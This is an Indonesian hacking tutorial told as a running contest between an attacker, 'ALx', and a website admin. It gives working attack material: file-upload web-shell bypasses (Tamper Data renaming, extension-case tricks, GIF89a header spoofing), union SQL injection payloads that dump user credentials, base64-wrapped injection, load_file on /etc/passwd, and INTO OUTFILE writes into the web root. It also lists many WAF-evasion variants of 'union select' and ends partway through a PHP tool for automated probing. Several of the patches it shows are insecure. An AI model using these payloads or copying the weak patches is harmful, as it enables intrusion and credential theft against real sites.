ALx vs Admin

ILMU 1
Saya mau memberikan sedikit simulasi perang dunia abu abu

Tapi sebelum memulai kita persiapkan dulu alat2 tempurnya..!
1. localhost ( xampp,lampp,appserv,etc..) atau web pun boleh
2. notepad
3. buat folder dengan nama "image"

[ perang dimulai ]
buat file php
dengan script:
<?phpif(isset($_POST['upload'])) {$target_path="image/";$target_path = $target_path.basename($_FILES['img']['name']);if(move_uploaded_file($_FILES['img']['tmp_name'],$target_path)){echo "the file " . basename($_FILES['img']['name']) . " has been uploaded! ";}else {echo "there was an error uploading the file ,please try again!";}}?><form action="" method="post" enctype="multipart/form-data"><input type="file" size="20" name="img" /><input type="submit" name="upload" value="Upload" /></form> 

lalu simpan di web/localhost tadi

lalu buka filenya di localhost atau web kamu

silahkan upload shell
dan hasilnya pasti bisa

** patching 1 *

kemudian si admin mempathing script

$target_path="image/";$target_path = $target_path.basename($_FILES['img']['name']);if(move_uploaded_file($_FILES['img']['tmp_name'],$target_path)){echo "the file " . basename($_FILES['img']['name']) . " has been uploaded! ";}else {echo "there was an error uploading the file ,please try again!";}

dengan
script "PHP Arbitrary File"
guna menentukan file apa aja yang bisa masuk melalui file upload tersebut
scriptnya ialah:

if($_FILES['img']['type'] != "image/gif") {echo "Sorry, we only allow uploading GIF images";exit;}$uploaddir = 'image/';$uploadfile = $uploaddir . basename($_FILES['img']['name']);if (move_uploaded_file($_FILES['img']['tmp_name'], $uploadfile)) {echo "File is valid, and was successfully uploaded.\n";} else {echo "File uploading failed.\n";}
sehingga menjadi:
<?phpif($_FILES['img']['type'] != "image/gif") {echo "Sorry, we only allow uploading GIF images";exit;}$uploaddir = 'image/';$uploadfile = $uploaddir . basename($_FILES['img']['name']);if (move_uploaded_file($_FILES['img']['tmp_name'], $uploadfile)) {echo "File is valid, and was successfully uploaded.\n";} else {echo "File uploading failed.\n";}?><form action="" method="post" enctype="multipart/form-data"><input type="file" size="20" name="img" /><input type="submit" name="upload" value="Upload" /></form> 

melihat hal itu si alx pun mencari kelemahan script tersebut kemudian si alx membaca cara kerja dari script tersebut yakni script tersebut akan meloloskan suatu file yang memiliki content-type "image/gif" selain itu gagal terupload dengan informasi tersebut si alx lalu membuat sebuah teknik yang memerlukan sedikit bantuan addon semisal tamperdata atau yg sejenis

* bypass 1*

1. install addon tamperdata di firefox
2. shell.php rename jadi shell.php.jpg atau shell.jpg
3. hidupkan tamperdata: tools -> tamper data -> start tamper
4. upload shell.php.jpg tadi -> klik upload -> lalu tamper
5. kemudian cari nama file "shell.php.jpg" lalu ganti dengan shell.php -> ok

hasil: shell pun terupload

** patcing2 **

melihat script uploadnya bisa di bypass alx, si admin tadi memutar otaknya mencari cara patchingnya akhirnya ia menemukan cara yaitu dengan memanfaatkan system blacklist yakni membatasi jenis2 file yang sudah di blacklist cara patchingnya adalah dengan cara mengganti script:

if($_FILES['img']['type'] != "image/gif") {echo "Sorry, we only allow uploading GIF images";exit;}$uploaddir = 'image/';$uploadfile = $uploaddir . basename($_FILES['img']['name']);if (move_uploaded_file($_FILES['img']['tmp_name'], $uploadfile)) {echo "File is valid, and was successfully uploaded.\n";} else {echo "File uploading failed.\n";}

dengan script blacklist:

$blacklist = array(".php",".html",".shtml",".phtml", ".php3", ".php4");foreach ($blacklist as $item) {if(preg_match("/$item\$/", $_FILES['img']['name'])) {echo "We do not allow uploading PHP files\n";exit;}}$uploaddir = 'image/';$uploadfile = $uploaddir . basename($_FILES['img']['name']);if (move_uploaded_file($_FILES['img']['tmp_name'], $uploadfile)) {echo "File is valid, and was successfully uploaded.\n";} else {echo "File uploading failed.\n";}

sehingga menjadi:

<?php$blacklist = array(".php",".html",".shtml",".phtml", ".php3", ".php4");foreach ($blacklist as $item) {if(preg_match("/$item\$/", $_FILES['img']['name'])) {echo "We do not allow uploading PHP files\n";exit;}}$uploaddir = 'image/';$uploadfile = $uploaddir . basename($_FILES['img']['name']);if (move_uploaded_file($_FILES['img']['tmp_name'], $uploadfile)) {echo "File is valid, and was successfully uploaded.\n";} else {echo "File uploading failed.\n";}?><form action="" method="post" enctype="multipart/form-data"><input type="file" size="20" name="img" /><input type="submit" name="upload" value="Upload" /></form>

dengan script di atas ketika si alx mengupload shellnya dengan cara ** bypass 1 ** maka alx mendapatkan pesan bahwa file nya tidak bisa terupload.

** bypass 2 **

Dengan kegagalan ini si alx pun kembali menganalisa script yang ada di atas dan menyimpulkan bahwa ketika shell di tamper dengan nama shell.php bisa error dikarenakan ektensi .php telah masuk daftar blacklist sehingga akan menjadi error melihat hasil kesimpulan tersebut si alx pun mencoba serangan yakni mencoba mengupload dengan extensi acak untuk meyakinkan bahwa ini benar2 script blacklist
kali ini si alx mencoba mengupload dengan extensi .123 ( namanya juga acak ) dan berhasil dengan ini si alx yakin bahwa script diatas adalah script blacklist dan script blacklist tersebut mempunyai kelemahan dimana dia hanya memblacklist jenis file yang ada pada array jadi extensi .php ada dalam daftar array tersebut si alx pun memulai bypass nya yakni dengan mencoba mengupload dengan extensi .php3 .php4 .php5 .PHP .pHp dan lain2

alhasil si alx pun kembali sukses mengupload shell nya

** patching3 **
tak berhenti disitu persaingan sang admin dan alx masih berlanjut mengetahui kalau script blacklistnya masih mampu ditembus kemudian sang admin kembali berfikir keras memikirkan bagaimana patchingnya kemudian dia menemukan cara yakni dengan script mime lalu dia mengubah scriptnya menjadi

<?php$imageinfo = getimagesize($_FILES['img']['tmp_name']);if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {echo "Sorry, we only accept GIF and JPEG images\n";exit;}
$uploaddir = 'image/';$uploadfile = $uploaddir . basename($_FILES['img']['name']);if (move_uploaded_file($_FILES['img']['tmp_name'], $uploadfile)) {echo "File is valid, and was successfully uploaded.\n";} else {echo "File uploading failed.\n";}?><form action="" method="post" enctype="multipart/form-data"><input type="file" size="20" name="img" /><input type="submit" name="upload" value="Upload" /></form>

cara kerja script mime ialah dimana dia hanya mengijinkan file yang mempunyai header jpg atau gif
guna meloloskan file agar bisa di upload
dengan ini si alx pun tak bisa mengupload shellnya walaupun di rename jpg karena tak mempunyai header image

dengan mengetahui cara kerja tersebut si alx pun memulai serangannya
kali ini dia hanya menyisipkan kata
GIF89a;
pada awal script
sehingga script menjadi:

GIF89a;<?phpscript shell ?>

karena si alx memanfaatkan comand hearder ( GIF89a; ) guna memanipulasi script mime agar mengidentifikasikan script shell sebagai image, setelah di rename jadi .gif dan di tamper alhasil si alx pun kembali berhasil menembus script mime

tak tinggal diam ketika sang admin mengetahui script mimenya berhasil ditembus
kemudian dia mulai berfikir keras dan mengumpulkan bahan2 guna meramu script
yang sulit ditembus oleh si alx
dan akhinya dia pun kembali mempatch scriptnya dengan memodifikasinya menjadi:

<?php
if(isset($_POST['upload'])) {

$jenis_konten = $_FILES['img']['type'];

if(preg_match("/image/",$jenis_konten)) {
$file_sementara = $_FILES['img']['tmp_name'];
/** //periksa lagi, **cacat $info_gambar = @getimagesize($file_sementara);
if(!preg_match("/image/",$info_gambar['mime'])) { //belum percaya periksa lagi resolusi **cacat if((!isset($info_gambar[0])) && (!isset($info_gambar[1]))) { die("Atut, ada hekel... :p"); } }
$file_dipermanenkan = dirname(__file__)."/".$_FILES['img']['name'];
if(move_uploaded_file($file_sementara,$file_dipermanenkan)) { echo "File <strong>".$_FILES['img']['name']. "</strong> berhasil diunggah."; } else { echo "Gagal mengunggah!"; } **/
$file_dipermanenkan = "/".sha1(rand(0,9999)).".jpg"; $filename = $file_sementara; $percent = 1;
// ciplak resolusi // pendeteksian ini masih bisa lolos dgn teknik RGB $size = getimagesize($filename); //diambil dari file temp, bukan $_FILE['mime'] $width = $size[0]; $height = $size[1]; $mime = $size['mime'];
//jika butuh memperkecil gambar $new_width = $width * $percent; $new_height = $height * $percent;
// buat gambar baru

if(preg_match('/png|jpeg|jpg|gif/',$mime)) { $image_p = imagecreatetruecolor($new_width,$new_height); if((preg_match('/jpg/',$mime)) || (preg_match('/jpeg/',$mime))) { $image = imagecreatefromjpeg($filename); } if(preg_match('/png/',$mime)) { $image = imagecreatefrompng($filename); } if(preg_match('/gif/',$mime)) { $im = imagecreatefromgif($filename); } } if(!@imagecopyresampled($image_p,$image,0,0,0,0,$new_width,$new_height,$width,$height)) { $image_p = imagecreate(200,100); $bg = imagecolorallocate($image_p,255,255,255); $black = imagecolorallocate($image_p,0,0,0); imagestring($image_p,5,2,2,'Gambar Bulu',$black); }
// Output imagejpeg($image_p,dirname(__file__).$file_dipermanenkan,100); echo '<a href="'.$file_dipermanenkan.'">'.$file_dipermanenkan.'</a>';
} else { echo "Jenis file yang anda unggah bukan gambar."; }}
?><form action="" method="post" enctype="multipart/form-data"><input type="file" size="20" name="img" required="on" /><input type="submit" name="upload" value="Upload" /></form>


Sampai sekarang saya belum bisa nembus script patch yang terakhir diatas hmm.. selesailah sampai disini cerita persaingan makhluk dibalik monitor namun dari simulasi ini kita akan mendapat beberapa pelajaran dan ilmu yang baru,sengaja saya buat begini agar tidak terlalu pusing ketika kita membaca tutorial hehehe...

++++++++++++++++++++++++++++++++++

ILMU 2
Cerita ini di awali oleh si alx yang mencari celah sebuah website yang di buat oleh si Admin
setelah mengecek website tersebut si alx menemukan celah ( bug ) yang amat fatal pada website yang di buat admin
si alx menemukan celah SQL Injecton pada website si admin
celah SQL Injection ini teramat fatal karena si alx mampu memasukan sebuah injeksi untuk melihat isi dari database website tersebut. celah SQL Injection itu sendiri terjadi ketika sebuah request di website yang langsung masuk ke dalam query SQL website tersebut sehingga si alx mampu memanipulasi injeksi guna melihat data-data sensitif pada database semisal username dan password si database tersebut.
cerita kembali kepada si ALx yang menemukan celah SQL Injection tersebut pada detail berita pada web si admin
 berita.php?id=1
si alx mengetahui bahwa url itu bug dengan cara menambahkan tanda ' pada akhir atau awal dari nilai id
 berita.php?id=1'
ketika di masukan tanda itu website pun meresponnya dengan mengeluarkan error dan itu bisa di katakan vuln
setelah mengetahui bahwa itu vuln maka si ALx pun melanjutkan aksinya dengan menambahkan perintah order by yang berfungsi untuk mencari jumlah kolom
 berita.php?id=1 order by 1-- true berita.php?id=1 order by 7-- true berita.php?id=1 order by 10-- true
sampai pada angka yang mengeluarkan error
si alx sengaja meloncat-locat angkanya di kakrenakan untuk mempersingkat waktu
 berita.php?id=1 order by 11-- eror
jadi alx berkesimpulan bahwa ada 10 kolom yang di gunakan untuk menampilkan sebuah artikel
sekarang si alx melanjutkan untuk melihat kolom mana yang di gunakan untuk mengeluarkan data pada website tersebut dengan cara menyisipkan union select dan di ikuti jumlah kolom
berita.php?id=1 union select 1,2,3,4,5,6,7,8,9,10--
sehingga web otomatis merespon dengan mengeluarkan angka yang si sebutkan karena angka tersebut mewakili tap kolom pada tabel yang di gunakan dan pada kasus ini web si admin mengeluarkan angka 4
kenapa kok bisa muncul 4
seperti yang saya katakan tadi tiap nomor mewakili tiap kolom pada tabel tersebut
sesungguhnya urutan kolom pada tabel tersebut adalah
id,user_id,kategori_id,content,tag,dan seterusnya
1,2,3,4,5, dan seterusnya
nah di website si admin untuk mengeluarkan isi dari artikel tersebut kan dengan script
<?php
echo $artikel['content'];
?>
dan content terwakili oleh angka 4
setelah menemukan kolom mana yang di gunakan kemudian si alx menambahkan perintah version() digunakan untuk melihat versi dari mysql yang di pakai admin. mengapa ini di lakukan ?
karena jika mysql versinya di bawah 5 maka langkah selanjutnya akan berbeda. apa perbedaannya ?
perbedaannya ialah setelah menemukan kolom mana yang di gunakan ketika mysql versi di bawah 5 maka si alx di haruskan menebak nama-nama tabelnya di karenakan perintah information_schema di masukan kedalam mysql pada versi selanjutnya ( mysql version 5.0 keatas ) namun kalau setelah memasukan perintah version() dan keluar versi 5 maka si alx hanya memasukan perintah seperti di bawah ini
 berita.php?id=1 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10 from information_schema.tables where table_schema=database()--
setelah itu website merespon dengan mengeluarkan semua nama tabel yang berada di database tersebut
user,artikel,kategori, dan lain lain
setelah mendapatkan nama tabel, dan menentukan mana tabel yang ingin di lihat datanya si alx pun melanjutkan aksinya dengan melihat nama kolom pada tabel yang di incar, pada kasus ini si alx mengincar tabe user, dan si alx pun memasukan query seperti berikut ini
 berita.php?id=1 union slelect 1,2,3,group_concat(column_name),5,6,7,8,9,10 from information_schema.columns where table_name=0x75736572--
75736572 adalah hexa dari user, selain memakai hexa terkadang si alx juga memakai mysqlchar atau hanya dengan menambahkan 'user'
setelah memasukan perintah tersebut website pun meresponnya dengan mengeluarkan nama kolom pada tabel user
id,nama,username,password,email,akses,trash
nah pada kasus ini si alx hanya ingin melihat isi dari username dan password untuk melihat isi dari username dan password si alx pun menyisipkan query sebagai berikut
 berita.php?id=1 union slelect 1,2,3,group_concat(username,0x3a,password,0x3a,email),5,6,7,8,9,10 from user--
0x3a adalah hexa dari : yang di gunakan si alx untuk memisahkan data mana yang username dan mana yang password
setelah itu website pun merespon perintah itu dengan mengeluarkan data username dan password serta email website tersebut
keesokan harinya si admin pun memulai kesehariannya dengan kebiasaan paginya yaitu mengecek web, betapa terkejutnya si admin melihat log pada webnya bahwa malam kemarin ada seseorang yang berhasil masuk ke webnya dan si admin pun langsung mengetahui celah webnya dengan melihat error log pada website tersebut
bug tersebut memang murni dari kelalaian sang admin yang tak memfilter request yang masuk pada webistenya celah tersebut terletak pada scirpt berikut

<?php
include('db.php');$id = $_GET['id'];$query = "SELECT * FROM artikel where id=$id";$result = mysql_query($query);$artikel = mysql_fetch_array($result);echo $artikel['content'];?>
untuk mengakalinya sang admin pun berinisiatif untuk mengelabuhi si alx dengan cara menghilangkan error pada halaman tersebut yaitu dengan cara mengubah script menjadi
<?php@ini_set('display_errors',0);include('db.php');$id = $_GET['id'];$query = "SELECT * FROM artikel where id='$id'";$result = mysql_query($query);$artikel = mysql_fetch_array($result);echo $artikel['content'];?>

@ini_set('display_errors',0);
script ini berfungsi untuk menghilangkan error pada halaman tersebut kemudian sang admin juga menambahkan '' pada where id='$id' guna untuk mengelabuhi si alx agar tak menemukan jumlah kolom pada tabel tersebut sehingga ketika si alx menyisipkan perintah order by maka nilai yang di hasilkan tak berujung meskipun order by tersebut nilainya 100000

++++++++++++++++++++++++++++++++++

ILMU 3

selang berapa waktu setelah peretasan pertama si alx pun kembali menyerang web si admin masih di celah yang sama
ketika kembali meretas web tersebut si alx pun mendapati bug yang kemarin di patch oleh si admin, si alx pun meneliti patch si admin. dan si alx mendapati bahwa patch tersebut hanya patch yang amat fatal karena bug yang kemarin masih bisa di retas lagi, setelah meneliti patch si admin, alx pun berkesimpulan bahwa patch tersebut bisa di bypass dengan teknik sql injection string based dimana si alx hanya perlu menambahkan ' dan penambahan query coment -- -
// sql injection basic
berita.php?id=1 order by 1-- trueberita.php?id=1 order by 12-- trueberita.php?id=1 order by 100-- true
//sql injection string based
berita.php?id=1' order by 1-- - trueberita.php?id=1' order by 12-- - eror
kemudian si ALx pun kembali mendapatkan user dan password web si admin
beberpa jam kemudian si admin pun mendapati webnya kembali di bobol oleh si alx dan si admin pun menganalisa kembali patch yang ia masukan kemarin dan di dapati dari log website nya si admin pun berkesimpulan sebagai berikut
<?php@ini_set('display_errors',0);include('db.php');$id = $_GET['id'];$query = "SELECT * FROM artikel where id='$id'";$result = mysql_query($query);$artikel = mysql_fetch_array($result);echo $artikel['content'];?>
ketika si alx menginjeksi web si admin dengan string ' -- - untuk menyelipkan query injeksi dan mematikan query di web setelah query coment yang di injeksikan oleh si alx -- -
maka query sang admin menjadi
SELECT * FROM artikel where id='2' order by 1-- -';
setelah mengetahui cara kerja bypass tersebut sang admin pun membuat patch baru dengan sedikit modifikasi pada value id dengan mengganti dengan base64 sehngga menjadi
berita.php?id=MTI_
dan pada script
<?php@ini_set('display_errors',0);include('db.php');$id = base64_decode(str_replace("=","_",$_GET['id']));$iddefault = $_SESSION['id_default'];if(isset($id)){$query = "SELECT * FROM artikel where id='$id'";
}else{$query = "SELECT * FROM artikel where id='$iddefault'";}$result = mysql_query($query);$artikel = mysql_fetch_array($result);$artikel = []; $artikel['content'] = '';
echo $artikel['content'];?>
esoknya hari si alx kembali menyambangi web si admin dan mendapati web si admin sedikit berbeda karena sudah di patch, si alx pun bersemangat karena mendapat sebuah perlawanan dari si admin kembali dia mengetes dengan menambahkan string '
berita.php?id=MTI_'
namun yang ia dapati adalah webnya tak ada error sama sekali malah kembali ke artikel sebelumnya, kemudian si alx pun mengetahui bahwa MTI_ mirip seperti base64 untuk menguatkan spekulasinya si alx pun mencoba beberapa angka yang di encode ke base 64
1,175, dan 23 menjadi MQ==,MTc1,MjM=
dan si alx mencoba satu per satu
berita.php?id=MQ== | artikel tak berubahberita.php?id=MTc1 | artikel berubahberita.php?id=MjM= | artikel kembali ke awal
si alx pun berkesimpulan bahwa itu memangg base64 namun dia masih heran karena ketika di beri MQ== yang encode dari angka 1 kok tidak bisa, si alx pun kembali meneliti dan menyimpulkan hal yang mencurigakan yaitu tanda _
dalam hati alx pun bertanya-tanya
"mungkinkah _ adalah = " :/
dan si alx pun mencobanya kembali
berita.php?id=MQ==
menjadi
berita.php?id=MQ__
dan yang ia dapati adalah keberhasilan jadi si alx menyimpulkan bahwa admin mempatch dengan base64 dan mengganti = dengan _
setelah mendapat kesimpulan tersebut si alx pun kembali menyisipkan query injeksi nya
1' union slelect 1,2,3,group_concat(column_name),5,6,7,8,9,10 from information_schema.columns where table_name=0x75736572-- -
lalu si alx pun mengencode query tersebut menjadi
MScgdW5pb24gc2xlbGVjdCAxLDIsMyxncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDUsNiw3LDgsOSwxMCBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9MHg3NTczNjU3Mi0tIC0=
dan mengganti = dengan _
berita.php?id=MScgdW5pb24gc2xlbGVjdCAxLDIsMyxncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDUsNiw3LDgsOSwxMCBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9MHg3NTczNjU3Mi0tIC0_
akhirnya alx kembali mendapati user dan password web si admin,
setelah mengetahui webnya masih bisa di bobol si alx, admin pun kembali berfikir keras bagaimana mempatch celah tersebut. selang beberapa menit si admin pun menemukan cara patch yang tepat
yaitu dengan mengganti berita.php?id=MQ__ menjadi urlfriendly seperti berikut
<?php@ini_set('display_errors',0);include('db.php');
$alias = explode(".html",$_GET['alias'])[0];
$query = "SELECT * FROM artikel where alias='$alias'";
$result = mysql_query($query);$artikel = mysql_fetch_array($result);if(isset($artikel)){ echo $artikel['content'];}else{ header('HTTP/1.1 404 Not Found');}?>

++++++++++++++++++++++++++++++++++

ILMU 4
setelah kemarin mendapat perlawanan sengit oleh si Admin,
kini si ALx pun kembali kesekian kalinya ke webiste si admin
melihat tampilan website si admin yang kembali di perbaiki dan lebih url friendly
si alx pun merasa tertantang untuk kembali mengetes system di website tersebut
dia melihat bahwa url detail web si admin berubah menjadi url friendly, nah pikir si ALx
biasanya alias tersimpan di database dan kemungkinan web si admin juga demikian maka si ALx pun mencoba
dengan cara seperi biasa yakni menyisipkan '
tapi tak ada perubahan sama sekali
kemudian si alx berfikir lagi
"bisa jadi si admin cuma menyisipkan alias yang berasal dari judul (the-power-of-jembut) tanpa .html"
kemudian si alx pun mencoba memasukan ' ke dalam judul seperti berikut ini
dan hasil yang di dapatkan ialah error 404
vuln ?
si alx belum menganggap itu vuln karena wajar bila web merespon dengan 404 bila tidak mendapati data
kemudian si alx pun kembali menambahkan qery injeksi -- -untuk meyakinkan bahwa itu bug
bilamana di beri injeksi -- - dan muncul datanya alias kembali true maka di pastikan ini bug
dan setelah web di berikan query injeksi tersebut
situs tersebut kembali ke artikel awal dan bisa di katakan bahwa ini bug
berasa dapat angin segar si alx pun bersemangat untuk menginjeksi web si admin dan alhasil si alx pun lagi-lagi mendapatkan username dan password admin web si admin, namun ketika si alx mengakses admin login web si admin, si alx hanya mendapati error 404. ternyata tanpa disangka-sangka sang admin bukan hanya mempatch webnya menjadi url friendly namun juga merubah lokasi backend webnya. tanpa membuang waktu si alx pun mengeluarkan toolnya yaitu admin finder tapi tool itu pun tak dapat membantu si alx menemukan admin login web tersebut.

tak putus asa si alx pun mencoba teknik sql injection into outfie yaitu membuat file lewat query sql. meskipun bug ini jarang terjadi pada sebuah website namun tak ada jalan si alx kecuali mencobanya, dengan bug ini si alx tak perlu susah-susah mencari admin login, tapi langsung dengan membuat backdoor dengan menggunakan query sql.
tekniknya sama seperti sql injection manual namun query setellah memasukan version() berubah
setelah mengetahui versi dari mysql si alx kemudian mengecek apakah user database yang di pakai si admin dengan cara menyisipkan perintah file_priv
http://www.situssiadmin.com/berita/the-power-of-jembut' union select 1,2,3,group_concat(file_priv),5,6,7,8,9,10 from mysql.user-- -.html
dan website si admin merespon dengan huruf Y yang artinya user database yang di pakai web tersebut mempunyai akses FILE.
setelah mengetahui web itu vuln maka si alx pun melancarkan aksinya. pertama si alx pun mencoba menebak lokasi dir pada website tersebut untuk lokasi file yang akan dia buat nanti untuk mengetahui lokasi biasanya si alx menggunakan beberapa metode salah satunya dengan membaca error pada website karena biasanya system akan memberitahu directory dan baris pada file yang error.
namun si alx tidak bisa mengunakan metode ini dikarenakan si admin sudah menghilangkan errornya ( lihat patc ava 2a ). namun tak putus asa si alx pun mencoba metode LFI untuk melihat dokumen rootnya
http://www.situssiadmin.com/berita/the-power-of-jembut' union select 1,2,3,load_file('/etc/passwd'),5,6,7,8,9,10-- -.html
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/drv:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
dan akhirnya si alx pun menemukan directori dari web tersebut yaitu /var/www yang di ambil dari
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
setelah mengetahui directori dari website tersebut si alx melanjutkan aksinya yakni membuat file dengan query sql dengan menambahkan script file yang akan di upload contoh <?="hello word"?> lalu encode dengan hexa atau mysql char dan menyisipkan query INTO OUTFILE "dir/namafile.php" sebelum query komen
menjadi seperti ini
kali ini si alx ingin membuat file 123.php yang berisi "permisi numpang lewat"
http://www.situssiadmin.com/berita/the-power-of-jembut' union select 1,2,3,0x7065726d697369206e756d70616e67206c65776174,5,6,7,8,9,10 INTO OUTFILE "/var/www/123.php"-- -.html
dan alhasil ketika si alx megakses
dan yang didapatkan ialah sang attcker berhasil
dan selang beberapa menit si admin yang kebetulan sedang mempercantik webnya di kejutkan dengan sebuah file 123.php
yang tak pernah ia buat. menyadari ini perbuatan si alx, sang admin pun kembali mengecek log pada website nya dan di dapati si alx memanfaatkan akses privilages file pada user database untuk membuat file baru. segara ia meremove akses file tersebut pada user databasenya.
revoke file on *.* from 'userdatabasenya'@'localhost';
kemudian si admin pun memperbaiki bug sqli kesekian kalinya, sejenak dia memikirkan jalan keluar dari masalah ini dan dia mendapat sebuah ide mempatch bug sql injection pada webnya dengan cara memblacklist perintah union pada sql injection sebagai berikut
if (!preg_match('/(union|form|and)/', $alias)) {
script webistenya..
}else{ header('HTTP/1.1 404 Not Found');}
sekitar 1 jam sejak bug tersebug di patch oleh si admin, si alx pun mengunjungi kembali file yang telah ia buat dan si alx pun membuka
situssiadmin.com/123.php
dan apa yang di dapati si alx ialah file yang ia buat tadi hilang,dan itu merupakan sebuah pertanda bahwa si admin lagi on. semakin bersemangatlah ia karenakan si admin on. kemudin ia mengulangi penyerangan web si admin dengan metode sebelumnya namun setelah mengeksekusi yang di dapatkan ialah sebuah error 404. kemudian si alx mencoba memasukan ist 1 per 1 seperti berikut

http://www.situssiadmin.com/ber...' union -- -.html | errorhttp://www.situssiadmin.com/ber...' select -- -.html | tidak errorhttp://www.situssiadmin.com/ber...' from -- -.html | errorhttp://www.situssiadmin.com/ber...' and -- -.html | errorhttp://www.situssiadmin.com/ber...' where -- -.html | tidak error
dan begitu seterusnya dan di dapati hanya perintah union yang di blacklist oleh si admin
dari kesimpulan tersebut si alx pun mencoba membypass blacklist tersebut dengan cara membuat perintah yang di blacklist menjadi peritah alay
http://www.situssiadmin.com/ber...' UnIOn select 1,2,3,0x7065726d697369206e756d70616e67206c65776174,5,6,7,8,9,10 INTO OUTFILE "/var/www/123.php"-- -.html
merasa tak ada error si alx pun kembali membuka link file yang ia buat
dan di dapati file yang ia buat tak ada, si alx pun mulai curiga bila akses file telah di revoke oleh si admin. dia pun mengecek dengan memasukan perintah file_priv
http://www.situssiadmin.com/ber...' UnIOn select 1,2,3,group_concat(file_priv),5,6,7,8,9,10 FrOm mysql.user-- -.html

website si admin pun merespon dengan mengeluarkan huruf N yang artinya user tersebut sudah tak memiliki privilages file. setelah mengetahui bahwa web tersebut tak ada privilages file si alx pun kembali mengambil data username dan password. namun PR si alx ialah halaman admin web si admin tak di temukan. si alx pun menemukan sebuah ide yaitu melihat direktori gambar.
kanapa dengan direktori gambar ?
karena ada kemungkinan sebuah gambar yang di upload di direktori admin dan benar saja si alx pun menemukan sebuah file gambar yang di simpan di direktori admin
http://situssiadmin.com/admin_a...
si alx pun kembali masuk ke dasboard web si admin
Si admin yang sedari tadi memantau aksi si alx untuk melihat cara kerja ia menyerang kini si admin pun kembali mempatch webnya dengan cara dia memindahkan direktori admin dan kembali memperbaiki patch yang berhasil di jebol oleh si alx
if (!preg_match('/(union|form|and)/i', $alias)) {
script webistenya..
}else{ header('HTTP/1.1 404 Not Found');}

++++++++++++++++++++++++++++++++++

ILMU 5
Beberapa minggu dari penyerangan terakhir, si admin terheran karena belum juga ada kabar penyerangan oleh si ALx, yang biasanya di serang tanpa henti berhari-hari kini beberapa minggu berlalu tanpa ada serangan. si admin pun berpikiran mungkin si ALx tak menemukan bug lagi di webnya, meskipun terlintas di fikirannya bahwa tak ada sistem yang aman. namun si admin tetap melanjutkan aktifitasnya yaitu mengolah website.
Disisi lain bukan tanpa alasan Si ALx beberapa minggu tak mengunjungi website si admin namun si alx sedang sibuk membuat toolnya sendiri yang nantinya juga di gunakan untuk memudahkannya dalam penyerangan.
Namun suatu ketika ketika Si ALx sedang stack fikirannya di karenakan salah satu function di toolnya tak jalan akhirnya Si ALx pun memutuskan untuk merefresh pikirannya dengan kembali mengunjungi web Si Admin. Pertama buka website si admin, ALx pun sedikit kaget karena tampilan web si admin berubah lumayan drastis karena yang dahulunya cuma web berita saja tanpa adanya login sekarang ada login buat member dan member juga bisa share berita, menarik.. namun Terlepas dari itu si alx kembali fokus terhadap bug yang di temukan terakhir kalinya yaitu
http://www.situssiadmin.com/ber...' UnIOn select 1,2,3,version(),5,6,7,8,9,10-- -.html
Dan di dapatinya error dan lagi-lagi si admin telah mempatch bug tersebut. namun seperti biasanya si alx pun kembali menganalisa web si admin dengan mencoba 1 persatu berbagai kemungkinan filter query. Pertama dia mencoba mengecek perintah sensitif semisal union,select dan form. Si ALx pun mengumpulkan list bypass union select seperti berikut ini
 union form select information_schema /*!%55NiOn*/ /*!%53eLEct*/ %55nion(%53elect 1,2,3)-- - +union+distinct+select+ +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ "/*!50000UniON SeLeCt*/", union /*!50000%53elect*/ /*!%55NiOn*/ /*!%53eLEct*/ /*!u%6eion*/ /*!se%6cect*/ %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3) /*!union*/+/*!select*/ union+/*!select*/ /**/union/**/select/**/ /**/uNIon/**/sEleCt/**/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinct+select+ +union+distinctROW+select+
namun kalau mencoba 1 per 1 pasti memakan waktu maka dari itu si alx pun menemukan ide yakni membuat simple tool untuk membantu dia mengecek respon dari website si admin,
pertama dia membuat logika dulu terhadap toolnya seperti berikut ini :
1. membuat tool dengan function get yang bisa mengambil respon dari website si admin dengan menggunakan fungsi file_get_content di php2. menjadikan list bypass di atas menjadi array 3. melooping data array tersebut dan memasukan function get tadi kedalam looping
logika di atas di tujukan untuk membaca respon dari tiap query yang di masukan kedalam web si admin. Sekarang si alx pun mulai membuat toolnya. Dari logika di atas si alx pun membuat function seperti berikut
<?php
//[ 1 ] membuat function get

function req($url){ $Context = stream_context_create(['http' => ['method' => 'HEAD','header' => 'Referer: ']]); @file_get_contents($url, false, $Context); $ResponseHeaders = $http_response_header; $header = substr($ResponseHeaders[0], 9, 3); return $header;}
//[ 2 ] membuat array dari list
